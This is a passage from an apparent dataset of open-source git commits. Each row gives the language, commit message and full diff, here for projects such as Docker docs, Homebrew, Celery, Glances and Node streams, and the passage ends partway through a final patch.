content_type stringclasses 8
values | main_lang stringclasses 7
values | message stringlengths 1 50 | sha stringlengths 40 40 | patch stringlengths 52 962k | file_count int64 1 300 |
|---|---|---|---|---|---|
Javascript | Javascript | add defaultsource example | cb2eeb484d52c24853471025a49c136159429afa | <ide><path>Examples/UIExplorer/ImageExample.js
<ide> exports.examples = [
<ide> },
<ide> platform: 'ios',
<ide> },
<add> {
<add> title: 'defaultSource',
<add> description: 'Show a placeholder image when a network image is loading',
<add> render: function() {
<add> return (
<add> <Image
<add> defaultSource={require('./bunny.png')}
<add> source={{uri: 'http://facebook.github.io/origami/public/images/birds.jpg'}}
<add> style={styles.base}
<add> />
<add> );
<add> },
<add> platform: 'ios',
<add> },
<ide> {
<ide> title: 'Border Color',
<ide> render: function() { | 1 |
PHP | PHP | update filesystemadapter.php | 9c61823bc07b2e84583b1a9c9ccbc89cab2798e4 | <ide><path>src/Illuminate/Filesystem/FilesystemAdapter.php
<ide> public function get($path)
<ide> try {
<ide> return $this->driver->read($path);
<ide> } catch (FileNotFoundException $e) {
<del> throw new ContractFileNotFoundException($path, $e->getCode(), $e);
<add> throw new ContractFileNotFoundException($e->getMessage(), $e->getCode(), $e);
<ide> }
<ide> }
<ide> | 1 |
Ruby | Ruby | fix a typo affecting internet archive | c4787a0a8b315e296fe4523b7e50c392eb07b8a5 | <ide><path>Library/Homebrew/dev-cmd/pr-upload.rb
<ide> def check_bottled_formulae(bottles_hash)
<ide>
<ide> def archive?(bottles_hash)
<ide> @archive ||= bottles_hash.values.all? do |bottle_hash|
<del> bottle_hash["bottle"]["root_url"].start_with? "https://archive.com/"
<add> bottle_hash["bottle"]["root_url"].start_with? "https://archive.org/"
<ide> end
<ide> end
<ide> | 1 |
PHP | PHP | add test for factory config option | ef9cf327dd802a4608dd2a893011a9d7d565232b | <ide><path>tests/TestCase/Error/ExceptionTrapTest.php
<ide> public function testConfigExceptionRenderer()
<ide> $this->assertInstanceOf(ExceptionRenderer::class, $trap->renderer($error));
<ide> }
<ide>
<add> public function testConfigExceptionRendererFactory()
<add> {
<add> $trap = new ExceptionTrap(['exceptionRenderer' => function ($err, $req) {
<add> return new ExceptionRenderer($err, $req);
<add> }]);
<add> $error = new InvalidArgumentException('nope');
<add> $this->assertInstanceOf(ExceptionRenderer::class, $trap->renderer($error));
<add> }
<add>
<ide> public function testConfigRendererHandleUnsafeOverwrite()
<ide> {
<ide> $this->markTestIncomplete(); | 1 |
Text | Text | update plugin_volume apidocs for v2 | 48ccdf1f7aa28c14117076f940f66ce753283117 | <ide><path>docs/extend/plugins_volume.md
<ide> keywords: "Examples, Usage, volume, docker, data, volumes, plugin, api"
<ide> # Write a volume plugin
<ide>
<ide> Docker Engine volume plugins enable Engine deployments to be integrated with
<del>external storage systems, such as Amazon EBS, and enable data volumes to persist
<del>beyond the lifetime of a single Engine host. See the
<add>external storage systems such as Amazon EBS, and enable data volumes to persist
<add>beyond the lifetime of a single Docker host. See the
<ide> [plugin documentation](legacy_plugins.md) for more information.
<ide>
<ide> ## Changelog
<ide>
<ide> ### 1.13.0
<ide>
<del>- If used as part of the v2 plugin architecture, mountpoints that are part of paths returned by plugin have to be mounted under the directory specified by PropagatedMount in the plugin configuration [#26398](https://github.com/docker/docker/pull/26398)
<add>- If used as part of the v2 plugin architecture, mountpoints that are part of
<add> paths returned by the plugin must be mounted under the directory specified by
<add> `PropagatedMount` in the plugin configuration
<add> ([#26398](https://github.com/docker/docker/pull/26398))
<ide>
<ide> ### 1.12.0
<ide>
<del>- Add `Status` field to `VolumeDriver.Get` response ([#21006](https://github.com/docker/docker/pull/21006#))
<del>- Add `VolumeDriver.Capabilities` to get capabilities of the volume driver([#22077](https://github.com/docker/docker/pull/22077))
<add>- Add `Status` field to `VolumeDriver.Get` response
<add> ([#21006](https://github.com/docker/docker/pull/21006#))
<add>- Add `VolumeDriver.Capabilities` to get capabilities of the volume driver
<add> ([#22077](https://github.com/docker/docker/pull/22077))
<ide>
<ide> ### 1.10.0
<ide>
<del>- Add `VolumeDriver.Get` which gets the details about the volume ([#16534](https://github.com/docker/docker/pull/16534))
<del>- Add `VolumeDriver.List` which lists all volumes owned by the driver ([#16534](https://github.com/docker/docker/pull/16534))
<add>- Add `VolumeDriver.Get` which gets the details about the volume
<add> ([#16534](https://github.com/docker/docker/pull/16534))
<add>- Add `VolumeDriver.List` which lists all volumes owned by the driver
<add> ([#16534](https://github.com/docker/docker/pull/16534))
<ide>
<ide> ### 1.8.0
<ide>
<del>- Initial support for volume driver plugins ([#14659](https://github.com/docker/docker/pull/14659))
<add>- Initial support for volume driver plugins
<add> ([#14659](https://github.com/docker/docker/pull/14659))
<ide>
<ide> ## Command-line changes
<ide>
<del>A volume plugin makes use of the `-v`and `--volume-driver` flag on the `docker run` command. The `-v` flag accepts a volume name and the `--volume-driver` flag a driver type, for example:
<add>To give a container access to a volume, use the `--volume` and `--volume-driver`
<add>flags on the `docker container run` command. The `--volume` (or `-v`) flag
<add>accepts a volume name and path on the host, and the `--volume-driver` flag
<add>accepts a driver type.
<ide>
<del> $ docker run -ti -v volumename:/data --volume-driver=flocker busybox sh
<add>```bash
<add>$ docker volume create --driver=flocker volumename
<ide>
<del>This command passes the `volumename` through to the volume plugin as a
<del>user-given name for the volume. The `volumename` must not begin with a `/`.
<add>$ docker container run -it --volume volumename:/data busybox sh
<add>```
<add>
<add>### `--volume`
<ide>
<del>By having the user specify a `volumename`, a plugin can associate the volume
<del>with an external volume beyond the lifetime of a single container or container
<del>host. This can be used, for example, to move a stateful container from one
<del>server to another.
<add>The `--volume` (or `-v`) flag takes a value that is in the format
<add>`<volume_name>:<mountpoint>`. The two parts of the value are
<add>separated by a colon (`:`) character.
<ide>
<del>By specifying a `volumedriver` in conjunction with a `volumename`, users can use plugins such as [Flocker](https://clusterhq.com/docker-plugin/) to manage volumes external to a single host, such as those on EBS.
<add>- The volume name is a human-readable name for the volume, and cannot begin with
<add> a `/` character. It is referred to as `volume_name` in the rest of this topic.
<add>- The `Mountpoint` is the path on the host (v1) or in the plugin (v2) where the
<add> volume has been made available.
<ide>
<add>### `volumedriver`
<add>
<add>Specifying a `volumedriver` in conjunction with a `volumename` allows you to
<add>use plugins such as [Flocker](https://github.com/ScatterHQ/flocker) to manage
<add>volumes external to a single host, such as those on EBS.
<ide>
<ide> ## Create a VolumeDriver
<ide>
<ide> The container creation endpoint (`/containers/create`) accepts a `VolumeDriver`
<del>field of type `string` allowing to specify the name of the driver. It's default
<del>value of `"local"` (the default driver for local volumes).
<add>field of type `string` allowing to specify the name of the driver. If not
<add>specified, it defaults to `"local"` (the default driver for local volumes).
<ide>
<ide> ## Volume plugin protocol
<ide>
<del>If a plugin registers itself as a `VolumeDriver` when activated, then it is
<del>expected to provide writeable paths on the host filesystem for the Docker
<del>daemon to provide to containers to consume.
<del>
<del>The Docker daemon handles bind-mounting the provided paths into user
<del>containers.
<add>If a plugin registers itself as a `VolumeDriver` when activated, it must
<add>provide the Docker Daemon with writeable paths on the host filesystem. The Docker
<add>daemon provides these paths to containers to consume. The Docker daemon makes
<add>the volumes available by bind-mounting the provided paths into the containers.
<ide>
<ide> > **Note**: Volume plugins should *not* write data to the `/var/lib/docker/`
<ide> > directory, including `/var/lib/docker/volumes`. The `/var/lib/docker/`
<ide> > directory is reserved for Docker.
<ide>
<del>### /VolumeDriver.Create
<add>### `/VolumeDriver.Create`
<ide>
<ide> **Request**:
<ide> ```json
<ide> containers.
<ide> ```
<ide>
<ide> Instruct the plugin that the user wants to create a volume, given a user
<del>specified volume name. The plugin does not need to actually manifest the
<del>volume on the filesystem yet (until Mount is called).
<del>Opts is a map of driver specific options passed through from the user request.
<add>specified volume name. The plugin does not need to actually manifest the
<add>volume on the filesystem yet (until `Mount` is called).
<add>`Opts` is a map of driver specific options passed through from the user request.
<ide>
<ide> **Response**:
<ide> ```json
<ide> Opts is a map of driver specific options passed through from the user request.
<ide>
<ide> Respond with a string error if an error occurred.
<ide>
<del>### /VolumeDriver.Remove
<add>### `/VolumeDriver.Remove`
<ide>
<ide> **Request**:
<ide> ```json
<ide> Respond with a string error if an error occurred.
<ide> }
<ide> ```
<ide>
<del>Delete the specified volume from disk. This request is issued when a user invokes `docker rm -v` to remove volumes associated with a container.
<add>Delete the specified volume from disk. This request is issued when a user
<add>invokes `docker rm -v` to remove volumes associated with a container.
<ide>
<ide> **Response**:
<ide> ```json
<ide> Delete the specified volume from disk. This request is issued when a user invoke
<ide>
<ide> Respond with a string error if an error occurred.
<ide>
<del>### /VolumeDriver.Mount
<add>### `/VolumeDriver.Mount`
<ide>
<ide> **Request**:
<ide> ```json
<ide> Respond with a string error if an error occurred.
<ide> ```
<ide>
<ide> Docker requires the plugin to provide a volume, given a user specified volume
<del>name. This is called once per container start. If the same volume_name is requested
<add>name. `Mount` is called once per container start. If the same `volume_name` is requested
<ide> more than once, the plugin may need to keep track of each new mount request and provision
<ide> at the first mount request and deprovision at the last corresponding unmount request.
<ide>
<ide> `ID` is a unique ID for the caller that is requesting the mount.
<ide>
<ide> **Response**:
<del>```json
<del>{
<del> "Mountpoint": "/path/to/directory/on/host",
<del> "Err": ""
<del>}
<del>```
<ide>
<del>Respond with the path on the host filesystem where the volume has been made
<del>available, and/or a string error if an error occurred.
<add>- **v1**:
<add>
<add> ```json
<add> {
<add> "Mountpoint": "/path/to/directory/on/host",
<add> "Err": ""
<add> }
<add> ```
<add>
<add>- **v2**:
<add>
<add> ```json
<add> {
<add> "Mountpoint": "/path/under/PropagatedMount",
<add> "Err": ""
<add> }
<add> ```
<add>
<add>`Mountpoint` is the path on the host (v1) or in the plugin (v2) where the volume
<add>has been made available.
<ide>
<del>### /VolumeDriver.Path
<add>`Err` is either empty or contains an error string.
<add>
<add>### `/VolumeDriver.Path`
<ide>
<ide> **Request**:
<add>
<ide> ```json
<ide> {
<ide> "Name": "volume_name"
<ide> }
<ide> ```
<ide>
<del>Docker needs reminding of the path to the volume on the host.
<add>Request the path to the volume with the given `volume_name`.
<ide>
<ide> **Response**:
<del>```json
<del>{
<del> "Mountpoint": "/path/to/directory/on/host",
<del> "Err": ""
<del>}
<del>```
<ide>
<del>Respond with the path on the host filesystem where the volume has been made
<del>available, and/or a string error if an error occurred. `Mountpoint` is optional,
<del>however, the plugin may be queried again later if one is not provided.
<add>- **v1**:
<add>
<add> ```json
<add> {
<add> "Mountpoin": "/path/to/directory/on/host",
<add> "Err": ""
<add> }
<add> ```
<add>
<add>- **v2**:
<add>
<add> ```json
<add> {
<add> "Mountpoint": "/path/under/PropagatedMount",
<add> "Err": ""
<add> }
<add> ```
<add>
<add>Respond with the path on the host (v1) or inside the plugin (v2) where the
<add>volume has been made available, and/or a string error if an error occurred.
<add>
<add>`Mountpoint` is optional. However, the plugin may be queried again later if one
<add>is not provided.
<ide>
<del>### /VolumeDriver.Unmount
<add>### `/VolumeDriver.Unmount`
<ide>
<ide> **Request**:
<ide> ```json
<ide> however, the plugin may be queried again later if one is not provided.
<ide> }
<ide> ```
<ide>
<del>Indication that Docker no longer is using the named volume. This is called once
<del>per container stop. Plugin may deduce that it is safe to deprovision it at
<add>Docker is no longer using the named volume. `Unmount` is called once per
<add>container stop. Plugin may deduce that it is safe to deprovision the volume at
<ide> this point.
<ide>
<ide> `ID` is a unique ID for the caller that is requesting the mount.
<ide> this point.
<ide> Respond with a string error if an error occurred.
<ide>
<ide>
<del>### /VolumeDriver.Get
<add>### `/VolumeDriver.Get`
<ide>
<ide> **Request**:
<ide> ```json
<ide> Respond with a string error if an error occurred.
<ide> }
<ide> ```
<ide>
<del>Get the volume info.
<add>Get info about `volume_name`.
<ide>
<ide>
<ide> **Response**:
<del>```json
<del>{
<del> "Volume": {
<del> "Name": "volume_name",
<del> "Mountpoint": "/path/to/directory/on/host",
<del> "Status": {}
<del> },
<del> "Err": ""
<del>}
<del>```
<add>
<add>- **v1**:
<add>
<add> ```json
<add> {
<add> "Volume": {
<add> "Name": "volume_name",
<add> "Mountpoint": "/path/to/directory/on/host",
<add> "Status": {}
<add> },
<add> "Err": ""
<add> }
<add> ```
<add>
<add>- **v2**:
<add>
<add> ```json
<add> {
<add> "Volume": {
<add> "Name": "volume_name",
<add> "Mountpoint": "/path/under/PropagatedMount",
<add> "Status": {}
<add> },
<add> "Err": ""
<add> }
<add> ```
<ide>
<ide> Respond with a string error if an error occurred. `Mountpoint` and `Status` are
<ide> optional.
<ide> optional.
<ide> Get the list of volumes registered with the plugin.
<ide>
<ide> **Response**:
<del>```json
<del>{
<del> "Volumes": [
<del> {
<del> "Name": "volume_name",
<del> "Mountpoint": "/path/to/directory/on/host"
<del> }
<del> ],
<del> "Err": ""
<del>}
<del>```
<add>
<add>- **v1**:
<add>
<add> ```json
<add> {
<add> "Volumes": [
<add> {
<add> "Name": "volume_name",
<add> "Mountpoint": "/path/to/directory/on/host"
<add> }
<add> ],
<add> "Err": ""
<add> }
<add> ```
<add>
<add>- **v2**:
<add>
<add> ```json
<add> {
<add> "Volumes": [
<add> {
<add> "Name": "volume_name",
<add> "Mountpoint": "/path/under/PropagatedMount"
<add> }
<add> ],
<add> "Err": ""
<add> }
<add> ```
<add>
<ide>
<ide> Respond with a string error if an error occurred. `Mountpoint` is optional.
<ide>
<ide> Respond with a string error if an error occurred. `Mountpoint` is optional.
<ide> ```
<ide>
<ide> Get the list of capabilities the driver supports.
<del>The driver is not required to implement this endpoint, however, in such cases
<del>the default values will be taken.
<add>
<add>The driver is not required to implement `Capabilities`. If it is not
<add>implemented, the default values are used.
<ide>
<ide> **Response**:
<ide> ```json
<ide> the default values will be taken.
<ide> ```
<ide>
<ide> Supported scopes are `global` and `local`. Any other value in `Scope` will be
<del>ignored and assumed to be `local`. Scope allows cluster managers to handle the
<del>volume differently, for instance with a scope of `global`, the cluster manager
<del>knows it only needs to create the volume once instead of on every engine. More
<del>capabilities may be added in the future.
<add>ignored, and `local` is used. `Scope` allows cluster managers to handle the
<add>volume in different ways. For instance, a scope of `global`, signals to the
<add>cluster manager that it only needs to create the volume once instead of on each
<add>Docker host. More capabilities may be added in the future. | 1 |
Go | Go | fix a minor but in utils parsing udp/tcp ports | 30e2ee9793410882381d98a2efac240fab9ba20e | <ide><path>libnetwork/netutils/utils.go
<ide> func ParseProtocol(s string) Protocol {
<ide> case "icmp":
<ide> return 1
<ide> case "udp":
<del> return 6
<del> case "tcp":
<ide> return 17
<add> case "tcp":
<add> return 6
<ide> default:
<ide> return 0
<ide> } | 1 |
Python | Python | fix equal schedules | 1f7b2aecc9da7c073accb282c98f463c68f14a39 | <ide><path>celery/beat.py
<ide> def __lt__(self, other):
<ide> return id(self) < id(other)
<ide> return NotImplemented
<ide>
<add> def editable_fields_equal(self, other):
<add> for attr in ('task', 'args', 'kwargs', 'options', 'schedule'):
<add> if getattr(self, attr) != getattr(other, attr):
<add> return False
<add> return True
<add>
<add> def __eq__(self, other):
<add> """Test schedule entries equality.
<add>
<add> Will only compare "editable" fields:
<add> ``task``, ``schedule``, ``args``, ``kwargs``, ``options``.
<add> """
<add> return self.editable_fields_equal(other)
<add>
<add> def __ne__(self, other):
<add> """Test schedule entries inequality.
<add>
<add> Will only compare "editable" fields:
<add> ``task``, ``schedule``, ``args``, ``kwargs``, ``options``.
<add> """
<add> return not self == other
<add>
<ide>
<ide> class Scheduler(object):
<ide> """Scheduler for periodic tasks.
<ide> def schedules_equal(self, old_schedules, new_schedules):
<ide> return False
<ide> for name, old_entry in old_schedules.items():
<ide> new_entry = new_schedules.get(name)
<del> if not new_entry or old_entry.schedule != new_entry.schedule:
<add> if not new_entry:
<add> return False
<add> if new_entry != old_entry:
<ide> return False
<ide> return True
<ide>
<ide><path>t/unit/app/test_beat.py
<ide> def test_populate_heap(self, _when):
<ide> scheduler.populate_heap()
<ide> assert scheduler._heap == [event_t(1, 5, scheduler.schedule['foo'])]
<ide>
<del> def create_schedule_entry(self, schedule):
<add> def create_schedule_entry(self, schedule=None, args=(), kwargs={},
<add> options={}, task=None):
<ide> entry = {
<ide> 'name': 'celery.unittest.add',
<ide> 'schedule': schedule,
<ide> 'app': self.app,
<add> 'args': args,
<add> 'kwargs': kwargs,
<add> 'options': options,
<add> 'task': task
<ide> }
<ide> return beat.ScheduleEntry(**dict(entry))
<ide>
<ide> def test_schedule_equal_schedule_vs_schedule_success(self):
<ide> scheduler = beat.Scheduler(app=self.app)
<del> a = {'a': self.create_schedule_entry(schedule(5))}
<del> b = {'a': self.create_schedule_entry(schedule(5))}
<add> a = {'a': self.create_schedule_entry(schedule=schedule(5))}
<add> b = {'a': self.create_schedule_entry(schedule=schedule(5))}
<ide> assert scheduler.schedules_equal(a, b)
<ide>
<ide> def test_schedule_equal_schedule_vs_schedule_fail(self):
<ide> scheduler = beat.Scheduler(app=self.app)
<del> a = {'a': self.create_schedule_entry(schedule(5))}
<del> b = {'a': self.create_schedule_entry(schedule(10))}
<add> a = {'a': self.create_schedule_entry(schedule=schedule(5))}
<add> b = {'a': self.create_schedule_entry(schedule=schedule(10))}
<ide> assert not scheduler.schedules_equal(a, b)
<ide>
<ide> def test_schedule_equal_crontab_vs_crontab_success(self):
<ide> scheduler = beat.Scheduler(app=self.app)
<del> a = {'a': self.create_schedule_entry(crontab(minute=5))}
<del> b = {'a': self.create_schedule_entry(crontab(minute=5))}
<add> a = {'a': self.create_schedule_entry(schedule=crontab(minute=5))}
<add> b = {'a': self.create_schedule_entry(schedule=crontab(minute=5))}
<ide> assert scheduler.schedules_equal(a, b)
<ide>
<ide> def test_schedule_equal_crontab_vs_crontab_fail(self):
<ide> scheduler = beat.Scheduler(app=self.app)
<del> a = {'a': self.create_schedule_entry(crontab(minute=5))}
<del> b = {'a': self.create_schedule_entry(crontab(minute=10))}
<add> a = {'a': self.create_schedule_entry(schedule=crontab(minute=5))}
<add> b = {'a': self.create_schedule_entry(schedule=crontab(minute=10))}
<ide> assert not scheduler.schedules_equal(a, b)
<ide>
<ide> def test_schedule_equal_crontab_vs_schedule_fail(self):
<ide> scheduler = beat.Scheduler(app=self.app)
<del> a = {'a': self.create_schedule_entry(crontab(minute=5))}
<del> b = {'a': self.create_schedule_entry(schedule(5))}
<add> a = {'a': self.create_schedule_entry(schedule=crontab(minute=5))}
<add> b = {'a': self.create_schedule_entry(schedule=schedule(5))}
<ide> assert not scheduler.schedules_equal(a, b)
<ide>
<ide> def test_schedule_equal_different_key_fail(self):
<ide> scheduler = beat.Scheduler(app=self.app)
<del> a = {'a': self.create_schedule_entry(schedule(5))}
<del> b = {'b': self.create_schedule_entry(schedule(5))}
<add> a = {'a': self.create_schedule_entry(schedule=schedule(5))}
<add> b = {'b': self.create_schedule_entry(schedule=schedule(5))}
<add> assert not scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_args_vs_args_success(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(args='a')}
<add> b = {'a': self.create_schedule_entry(args='a')}
<add> assert scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_args_vs_args_fail(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(args='a')}
<add> b = {'a': self.create_schedule_entry(args='b')}
<add> assert not scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_kwargs_vs_kwargs_success(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(kwargs={'a': 'a'})}
<add> b = {'a': self.create_schedule_entry(kwargs={'a': 'a'})}
<add> assert scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_kwargs_vs_kwargs_fail(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(kwargs={'a': 'a'})}
<add> b = {'a': self.create_schedule_entry(kwargs={'b': 'b'})}
<add> assert not scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_options_vs_options_success(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(options={'a': 'a'})}
<add> b = {'a': self.create_schedule_entry(options={'a': 'a'})}
<add> assert scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_options_vs_options_fail(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(options={'a': 'a'})}
<add> b = {'a': self.create_schedule_entry(options={'b': 'b'})}
<add> assert not scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_task_vs_task_success(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(task='a')}
<add> b = {'a': self.create_schedule_entry(task='a')}
<add> assert scheduler.schedules_equal(a, b)
<add>
<add> def test_schedule_equal_task_vs_task_fail(self):
<add> scheduler = beat.Scheduler(app=self.app)
<add> a = {'a': self.create_schedule_entry(task='a')}
<add> b = {'a': self.create_schedule_entry(task='b')}
<ide> assert not scheduler.schedules_equal(a, b)
<ide>
<ide> | 2 |
Text | Text | update kloudless logo | 2aecef3460340add1b12d631304acc06bcf7c64d | <ide><path>docs/index.md
<ide> continued development by **[signing up for a paid plan][funding]**.
<ide> <li><a href="https://rollbar.com" style="background-image: url(https://fund-rest-framework.s3.amazonaws.com/rollbar2.png)">Rollbar</a></li>
<ide> <li><a href="https://cadre.com" style="background-image: url(https://fund-rest-framework.s3.amazonaws.com/cadre.png)">Cadre</a></li>
<ide> <li><a href="https://loadimpact.com/?utm_campaign=Sponsorship%20links&utm_source=drf&utm_medium=drf" style="background-image: url(https://fund-rest-framework.s3.amazonaws.com/load-impact.png)">Load Impact</a></li>
<del> <li><a href="https://hubs.ly/H0f30Lf0" style="background-image: url(https://fund-rest-framework.s3.amazonaws.com/kloudless.png)">Kloudless</a></li>
<add> <li><a href="https://hubs.ly/H0f30Lf0" style="background-image: url(https://fund-rest-framework.s3.amazonaws.com/kloudless-plus-text.png)">Kloudless</a></li>
<ide> <li><a href="https://lightsonsoftware.com" style="background-image: url(https://fund-rest-framework.s3.amazonaws.com/lightson-dark.png)">Lights On Software</a></li>
<ide> </ul>
<ide> <div style="clear: both; padding-bottom: 20px;"></div> | 1 |
Python | Python | try catch on sensors module. correct issue #373 | e66dbe87eacdbc14ab456f38ed4fc3cf6ac0046a | <ide><path>glances/plugins/glances_sensors.py
<ide> def update(self):
<ide> self.reset()
<ide>
<ide> if self.get_input() == 'local':
<del> # Update stats using the standard system lib
<del> self.stats = self.__set_type(self.glancesgrabsensors.get(), 'temperature_core')
<del> # Append HDD temperature
<del> hddtemp = self.__set_type(self.hddtemp_plugin.update(), 'temperature_hdd')
<del> self.stats.extend(hddtemp)
<del> # Append Batteries %
<del> batpercent = self.__set_type(self.batpercent_plugin.update(), 'battery')
<del> self.stats.extend(batpercent)
<add> # Update stats using the dedicated lib
<add> try:
<add> self.stats = self.__set_type(self.glancesgrabsensors.get(),
<add> 'temperature_core')
<add> except:
<add> pass
<add> # Update HDDtemp stats
<add> try:
<add> hddtemp = self.__set_type(self.hddtemp_plugin.update(),
<add> 'temperature_hdd')
<add> except:
<add> pass
<add> else:
<add> # Append HDD temperature
<add> self.stats.extend(hddtemp)
<add> # Update batteries stats
<add> try:
<add> batpercent = self.__set_type(self.batpercent_plugin.update(),
<add> 'battery')
<add> except:
<add> pass
<add> else:
<add> # Append Batteries %
<add> self.stats.extend(batpercent)
<ide> elif self.get_input() == 'snmp':
<ide> # Update stats using SNMP
<ide> # No standard: http://www.net-snmp.org/wiki/index.php/Net-SNMP_and_lm-sensors_on_Ubuntu_10.04 | 1 |
Javascript | Javascript | avoid usage of deprecated apis | 849fb70e2936d621e4952996013ec5f88e9058ff | <ide><path>lib/internal/streams/readable.js
<ide> Readable.prototype.pipe = function(dest, pipeOpts) {
<ide> debug('onerror', er);
<ide> unpipe();
<ide> dest.removeListener('error', onerror);
<del> if (EE.listenerCount(dest, 'error') === 0) {
<add> if (dest.listenerCount('error') === 0) {
<ide> const s = dest._writableState || dest._readableState;
<ide> if (s && !s.errorEmitted) {
<ide> // User incorrectly emitted 'error' directly on the stream.
<ide> function pipeOnDrain(src, dest) {
<ide> }
<ide>
<ide> if ((!state.awaitDrainWriters || state.awaitDrainWriters.size === 0) &&
<del> EE.listenerCount(src, 'data')) {
<add> src.listenerCount('data')) {
<ide> src.resume();
<ide> }
<ide> }; | 1 |
Javascript | Javascript | fix argument order in assert.strictequal() | 1ba701383f84d632f0cfe9107f769a052f2b5b8b | <ide><path>test/parallel/test-http-chunked.js
<ide> server.listen(0, common.mustCall(() => {
<ide> x.setEncoding('utf8');
<ide> x.on('data', (c) => data += c);
<ide> x.on('end', common.mustCall(() => {
<del> assert.strictEqual('string', typeof data);
<add> assert.strictEqual(typeof data, 'string');
<ide> assert.strictEqual(UTF8_STRING, data);
<ide> server.close();
<ide> })); | 1 |
Ruby | Ruby | move safe_fork into a standalone method | 06f72ab38f7330eaef9a4cc05dd31b35e8bf26f5 | <ide><path>Library/Homebrew/formula_installer.rb
<ide> require 'cmd/tap'
<ide> require 'hooks/bottles'
<ide> require 'debrew'
<del>require 'fcntl'
<del>require 'socket'
<ide> require 'sandbox'
<ide>
<ide> class FormulaInstaller
<ide> def build_argv
<ide> end
<ide>
<ide> def build
<del> socket_path = "#{Dir.mktmpdir("homebrew", HOMEBREW_TEMP)}/socket"
<del> server = UNIXServer.new(socket_path)
<del>
<ide> FileUtils.rm Dir["#{HOMEBREW_LOGS}/#{formula.name}/*"]
<ide>
<ide> @start_time = Time.now
<ide>
<ide> # 1. formulae can modify ENV, so we must ensure that each
<ide> # installation has a pristine ENV when it starts, forking now is
<ide> # the easiest way to do this
<del> read, write = IO.pipe
<del> ENV["HOMEBREW_ERROR_PIPE"] = socket_path
<del>
<ide> args = %W[
<ide> nice #{RUBY_PATH}
<ide> -W0
<ide> def build
<ide> #{formula.path}
<ide> ].concat(build_argv)
<ide>
<del> pid = fork do
<del> begin
<del> server.close
<del> read.close
<del> write.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC)
<del> if Sandbox.available? && ARGV.sandbox?
<del> sandbox = Sandbox.new(formula)
<del> sandbox.exec(*args)
<del> else
<del> exec(*args)
<del> end
<del> rescue Exception => e
<del> Marshal.dump(e, write)
<del> write.close
<del> exit! 1
<del> end
<del> end
<del>
<del> ignore_interrupts(:quietly) do # the child will receive the interrupt and marshal it back
<del> begin
<del> socket = server.accept_nonblock
<del> rescue Errno::EAGAIN, Errno::EWOULDBLOCK, Errno::ECONNABORTED, Errno::EPROTO, Errno::EINTR
<del> retry unless Process.waitpid(pid, Process::WNOHANG)
<add> Utils.safe_fork do
<add> if Sandbox.available? && ARGV.sandbox?
<add> sandbox = Sandbox.new(formula)
<add> sandbox.exec(*args)
<ide> else
<del> socket.send_io(write)
<add> exec(*args)
<ide> end
<del> write.close
<del> data = read.read
<del> read.close
<del> Process.wait(pid) unless socket.nil?
<del> raise Marshal.load(data) unless data.nil? or data.empty?
<del> raise Interrupt if $?.exitstatus == 130
<del> raise "Suspicious installation failure" unless $?.success?
<ide> end
<ide>
<ide> raise "Empty installation" if Dir["#{formula.prefix}/*"].empty?
<ide> def build
<ide> formula.rack.rmdir_if_possible
<ide> end
<ide> raise
<del> ensure
<del> server.close
<del> FileUtils.rm_r File.dirname(socket_path)
<ide> end
<ide>
<ide> def link(keg)
<ide><path>Library/Homebrew/utils.rb
<ide> require 'utils/json'
<ide> require 'utils/inreplace'
<ide> require 'utils/popen'
<add>require 'utils/fork'
<ide> require 'open-uri'
<ide>
<ide> class Tty
<ide><path>Library/Homebrew/utils/fork.rb
<add>require "fcntl"
<add>require "socket"
<add>
<add>module Utils
<add> def self.safe_fork(&block)
<add> socket_path = "#{Dir.mktmpdir("homebrew", HOMEBREW_TEMP)}/socket"
<add> server = UNIXServer.new(socket_path)
<add> ENV["HOMEBREW_ERROR_PIPE"] = socket_path
<add> read, write = IO.pipe
<add>
<add> pid = fork do
<add> begin
<add> server.close
<add> read.close
<add> write.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC)
<add> yield
<add> rescue Exception => e
<add> Marshal.dump(e, write)
<add> write.close
<add> exit! 1
<add> end
<add> end
<add>
<add> ignore_interrupts(:quietly) do # the child will receive the interrupt and marshal it back
<add> begin
<add> socket = server.accept_nonblock
<add> rescue Errno::EAGAIN, Errno::EWOULDBLOCK, Errno::ECONNABORTED, Errno::EPROTO, Errno::EINTR
<add> retry unless Process.waitpid(pid, Process::WNOHANG)
<add> else
<add> socket.send_io(write)
<add> end
<add> write.close
<add> data = read.read
<add> read.close
<add> Process.wait(pid) unless socket.nil?
<add> raise Marshal.load(data) unless data.nil? or data.empty?
<add> raise Interrupt if $?.exitstatus == 130
<add> raise "Suspicious failure" unless $?.success?
<add> end
<add> ensure
<add> server.close
<add> FileUtils.rm_r File.dirname(socket_path)
<add> end
<add>end | 3 |
Javascript | Javascript | remove tab indentation | 2c57dcf26baade027b78a08309b50db97a2feb14 | <ide><path>packages/rsvp/lib/main.js
<ide> define("rsvp",
<ide> }
<ide>
<ide> function all(promises) {
<del> var i, results = [];
<del> var allPromise = new Promise();
<del> var remaining = promises.length;
<add> var i, results = [];
<add> var allPromise = new Promise();
<add> var remaining = promises.length;
<ide>
<ide> if (remaining === 0) {
<ide> allPromise.resolve([]);
<ide> }
<ide>
<del> var resolver = function(index) {
<del> return function(value) {
<del> resolve(index, value);
<del> };
<del> };
<del>
<del> var resolve = function(index, value) {
<del> results[index] = value;
<del> if (--remaining === 0) {
<del> allPromise.resolve(results);
<del> }
<del> };
<del>
<del> var reject = function(error) {
<del> allPromise.reject(error);
<del> };
<del>
<del> for (i = 0; i < remaining; i++) {
<del> promises[i].then(resolver(i), reject);
<del> }
<del> return allPromise;
